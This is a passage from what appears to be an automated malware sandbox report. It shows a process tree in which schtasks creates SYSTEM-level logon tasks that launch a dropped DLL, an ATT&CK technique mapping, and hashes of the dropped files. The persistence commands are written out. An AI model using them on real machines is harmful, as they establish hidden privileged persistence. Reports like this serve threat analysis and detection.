    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\jIUrjTqJU\gSTaKG.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "IyXvSOFErlMUKai" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "IyXvSOFErlMUKai2" /F /xml "C:\Program Files (x86)\jIUrjTqJU\eBtInov.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "IyXvSOFErlMUKai"
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "IyXvSOFErlMUKai"
    3⤵
    PID:1564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "hNhPffLFSWePjj" /F /xml "C:\Program Files (x86)\twylNxKJekDU2\TvKdSMJ.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "AzbKTkTFnqewi2" /F /xml "C:\ProgramData\CEEEIGvNcEpIBnVB\bDBePkj.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "WeBOqsSYMRAwVFzkb2" /F /xml "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\HmSrdDX.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gmafinJubMSteXSrfVu2" /F /xml "C:\Program Files (x86)\LCMDmHxGrLJHC\AkPgTZc.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1552

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1440

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1748

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-162566295-99095963715231595081477872506-1269403238561077284470896561445073167"
1⤵
PID:1112

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\LCMDmHxGrLJHC\AkPgTZc.xml

Filesize
2KB

MD5
59ed22ac332358464e3002739f85b87d

SHA1
2320bf7cbce4ade19ae407d53ee262a751fa0662

SHA256
9dfeccc59d4d53d69a326b2c57301e07db124abaf95bfbef411fd9e0a6a511cc

SHA512
d559eaedee36f249557ab973d5565953cbf346aa17575815791777158381cfa4aff8b09d4dc2b32497654bd399a782a3a7c4103791162a5d2d7b97d061d43f30

Download Submit
C:\Program Files (x86)\jIUrjTqJU\eBtInov.xml

Filesize
2KB

MD5
240afb45e8b8693520185b2d243f28da

SHA1
2fdef2511f15538653f1a28d39f5ddf3d17c5f48

SHA256
93b6d9109ab3a8e44a3e3b722c04bc409ae380b5d0d818c2dfe3180d9633564b

SHA512
35bd114c251e19b1574949a28ae9871dac40f4fe6cf081027907ed77c5743ae41a5a26aa07d896f287aa45755c092994f1069bea9fccff41d81ea54d1baad26e

Download Submit
C:\Program Files (x86)\twylNxKJekDU2\TvKdSMJ.xml

Filesize
2KB

MD5
06d57095f55fe18b8043b6bc79a34b85

SHA1
0e299098fc7f5191ead0777dfa3c9ca9148c210b

SHA256
94331825969050a3c9138fdff4ea2e1aadb2921316c5fce9ab6af306db25dadb

SHA512
1798117638dedcf5e0d1dbd80e841ad8556fe3de332ca10c9d48898f6160118bba5ab4e7d1aa9cec72a2d491e922a325fbb8492ab7df591d28c762e73d95fa88

Download Submit
C:\ProgramData\CEEEIGvNcEpIBnVB\bDBePkj.xml

Filesize
2KB

MD5
0c9b1f4c2460d6908f96c1ea0240fa53

SHA1
1fce1b4c73bda4d80f17d723a20c10df047d8ac4

SHA256
89e2063b55dec86fd0e6dbce6c30fb04c61660294b2fffb9a73444587e6cabe9

SHA512
404a36f222d35e9a5d4f0f3f8b9f487ef632425472940519a269d0e78ca09e98ca9246ab1bb9de3dc5b543e84b58468a3af596a552f0ec053be277ea8fbdfaf4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe

Filesize
6.2MB

MD5
030d7bf929d688a9ea89ab72624d1466

SHA1
4c5172b5b48d9701f80d2221dc1e438c139ab3d8

SHA256
645655ee60fb7c4735b57af3a0d6d97a5ed04cd80d5a99236c6b85c8068079f8

SHA512
11529135002b9a6a5e890eb4e4b4d1478b769b5be6cb24fe3896ddb2cd21332a70547e95b572a7796a79fc7a414949bde167fea9794f2d4064dd07fc537d2b62

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe

Filesize
6.2MB

MD5
030d7bf929d688a9ea89ab72624d1466

SHA1
4c5172b5b48d9701f80d2221dc1e438c139ab3d8

SHA256
645655ee60fb7c4735b57af3a0d6d97a5ed04cd80d5a99236c6b85c8068079f8

SHA512
11529135002b9a6a5e890eb4e4b4d1478b769b5be6cb24fe3896ddb2cd21332a70547e95b572a7796a79fc7a414949bde167fea9794f2d4064dd07fc537d2b62

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\fDamkvw.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\fDamkvw.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
43b59310312981c370ca49a50b284043

SHA1
ec5e23742afa8057e8c923bb5d78b58b571781ed

SHA256
07c1742d7f97bdd2ae0365e73bc0f9b1d92715318970f5c7ad895daf4aeaa1f6

SHA512
005a822274674215f19e3537b4ca65ed361c9b4e66cc05d85ca24bab7776437ab71db2dab4905caf3e3977b5dcda92da0a9fae848531b3620de5e435bf9c374b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f33eb7c9fa4727d8ef11713b1792bf32

SHA1
80d10dc16587fb0138b1d0bdf48726697a1b2fc4

SHA256
50866fb5962fa61e7101570eb689c6dc72503c51d7c7dc654f0aaa4ef7804be5

SHA512
44fdc0dde40f65559a90c37bea4ee060f1d2ffa186fb69773d36a3a063f2bfd003e2af70fac5a1f29bf3bc5f0bdce1ab716cf4017a613802c3b97936007f2b5e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0cb44235a536369edb2dd2f3200b7060

SHA1
4782a7c70fb1fc9f23225058bd3b1b74feec4bc6

SHA256
907a0774b76fb41b19fb650d0f33dd04dfe4d6bc716f99f9454eaca130eeb051

SHA512
312e49674b3a5a03ca2f283eac5696f625e81415008183c066398c0d8c9223626a1784b4f56bfa3c3a169e9ad2f71bc4eb30e78cdec53412041a8e7e939db47a

Download Submit
C:\Windows\Temp\fwhiGQHhSfnZUzkc\HfRgmnNW\nbOCdoWqKxrbMxdt.wsf

Filesize
8KB

MD5
a0df987a9ff195bebea6381cd0a0de0d

SHA1
1cea3107eacca3108cef88186d223b173bf1b908

SHA256
87ef37ba9639ac0dc01fe886e4556b0ce672c43f4e00f1825c6aef7f69926a20

SHA512
87b020fbfb2583d565eeb7718fcb4bef91d4375ec843b774e678452ae10678ff022fce558768f48df42066fd0cfd0836bbd78c7e943940a09e93601029e1fa01

Download Submit
C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\FqDMnCs.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\FqDMnCs.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol

Filesize
4KB

MD5
ce061fe1d4437bf9a7a3fcef8fe333b0

SHA1
b2d13dd119799f05e8e225908a6184385be52848

SHA256
90c3ce4c35b4c1a135e711acc9c49ec9118c85aea876ab06f89c67f191c231a0

SHA512
6a6e3a204a0727480ca28e579537820351f8c3470c1c05ad0cf1d5c1d11e13481e5a8ce0388ca3452c1b9cee2328aea865c3312169c1140144ce037823bbf6b1

Download Submit
C:\Windows\system32\GroupPolicy\gpt.ini

Filesize
268B

MD5
a62ce44a33f1c05fc2d340ea0ca118a4

SHA1
1f03eb4716015528f3de7f7674532c1345b2717d

SHA256
9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

SHA512
9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe

Filesize
6.2MB

MD5
030d7bf929d688a9ea89ab72624d1466

SHA1
4c5172b5b48d9701f80d2221dc1e438c139ab3d8

SHA256
645655ee60fb7c4735b57af3a0d6d97a5ed04cd80d5a99236c6b85c8068079f8

SHA512
11529135002b9a6a5e890eb4e4b4d1478b769b5be6cb24fe3896ddb2cd21332a70547e95b572a7796a79fc7a414949bde167fea9794f2d4064dd07fc537d2b62

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe

Filesize
6.2MB

MD5
030d7bf929d688a9ea89ab72624d1466

SHA1
4c5172b5b48d9701f80d2221dc1e438c139ab3d8

SHA256
645655ee60fb7c4735b57af3a0d6d97a5ed04cd80d5a99236c6b85c8068079f8

SHA512
11529135002b9a6a5e890eb4e4b4d1478b769b5be6cb24fe3896ddb2cd21332a70547e95b572a7796a79fc7a414949bde167fea9794f2d4064dd07fc537d2b62

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe

Filesize
6.2MB

MD5
030d7bf929d688a9ea89ab72624d1466

SHA1
4c5172b5b48d9701f80d2221dc1e438c139ab3d8

SHA256
645655ee60fb7c4735b57af3a0d6d97a5ed04cd80d5a99236c6b85c8068079f8

SHA512
11529135002b9a6a5e890eb4e4b4d1478b769b5be6cb24fe3896ddb2cd21332a70547e95b572a7796a79fc7a414949bde167fea9794f2d4064dd07fc537d2b62

Download Submit
\Users\Admin\AppData\Local\Temp\7zS3AA.tmp\Install.exe

Filesize
6.2MB

MD5
030d7bf929d688a9ea89ab72624d1466

SHA1
4c5172b5b48d9701f80d2221dc1e438c139ab3d8

SHA256
645655ee60fb7c4735b57af3a0d6d97a5ed04cd80d5a99236c6b85c8068079f8

SHA512
11529135002b9a6a5e890eb4e4b4d1478b769b5be6cb24fe3896ddb2cd21332a70547e95b572a7796a79fc7a414949bde167fea9794f2d4064dd07fc537d2b62

Download Submit
\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
\Users\Admin\AppData\Local\Temp\7zS761.tmp\Install.exe

Filesize
6.8MB

MD5
6f52a47480dae7c97a64dd5aebb8e426

SHA1
204fe492e1cdeacea89a4f3b2cf41626053bc992

SHA256
a506223f4ca78c5c90ca3e02d00a1fef0e74b7050712c2a5e7ebaa160fa6c879

SHA512
994468252493276e3f3ebde2f03153d16f862ce3277f234785116394f570bec1e9bd7e49e40321957b7289f6bdb85a06871bbb162a552285c0b812a54fe5d78c

Download Submit
memory/612-197-0x000000000B5F0000-0x000000000B675000-memory.dmp

Filesize
532KB

Download
memory/612-201-0x000000000B570000-0x000000000B5D4000-memory.dmp

Filesize
400KB

Download
memory/800-137-0x000007FEF36A0000-0x000007FEF41FD000-memory.dmp

Filesize
11.4MB

Download
memory/800-138-0x00000000024C4000-0x00000000024C7000-memory.dmp

Filesize
12KB

Download
memory/800-136-0x000007FEF42C0000-0x000007FEF4CE3000-memory.dmp

Filesize
10.1MB

Download
memory/800-143-0x00000000024CB000-0x00000000024EA000-memory.dmp

Filesize
124KB

Download
memory/800-141-0x00000000024CB000-0x00000000024EA000-memory.dmp

Filesize
124KB

Download
memory/800-139-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/800-142-0x00000000024C4000-0x00000000024C7000-memory.dmp

Filesize
12KB

Download
memory/1064-54-0x0000000075BB1000-0x0000000075BB3000-memory.dmp

Filesize
8KB

Download
memory/1176-73-0x0000000010000000-0x0000000010B5F000-memory.dmp

Filesize
11.4MB

Download
memory/1464-96-0x000007FEF4360000-0x000007FEF4D83000-memory.dmp

Filesize
10.1MB

Download
memory/1464-95-0x000007FEFBDB1000-0x000007FEFBDB3000-memory.dmp

Filesize
8KB

Download
memory/1464-102-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download
memory/1464-101-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/1464-98-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/1464-99-0x000000001B810000-0x000000001BB0F000-memory.dmp

Filesize
3.0MB

Download
memory/1464-97-0x000007FEF3800000-0x000007FEF435D000-memory.dmp

Filesize
11.4MB

Download
memory/1548-185-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/1548-186-0x00000000025EB000-0x000000000260A000-memory.dmp

Filesize
124KB

Download
memory/1548-184-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/1548-183-0x000007FEF3800000-0x000007FEF435D000-memory.dmp

Filesize
11.4MB

Download
memory/1548-182-0x000007FEF4360000-0x000007FEF4D83000-memory.dmp

Filesize
10.1MB

Download
memory/1888-125-0x00000000023EB000-0x000000000240A000-memory.dmp

Filesize
124KB

Download
memory/1888-122-0x00000000023E4000-0x00000000023E7000-memory.dmp

Filesize
12KB

Download
memory/1888-121-0x000007FEF2E60000-0x000007FEF39BD000-memory.dmp

Filesize
11.4MB

Download
memory/1888-123-0x00000000023EB000-0x000000000240A000-memory.dmp

Filesize
124KB

Download
memory/1888-120-0x000007FEF39C0000-0x000007FEF43E3000-memory.dmp

Filesize
10.1MB

Download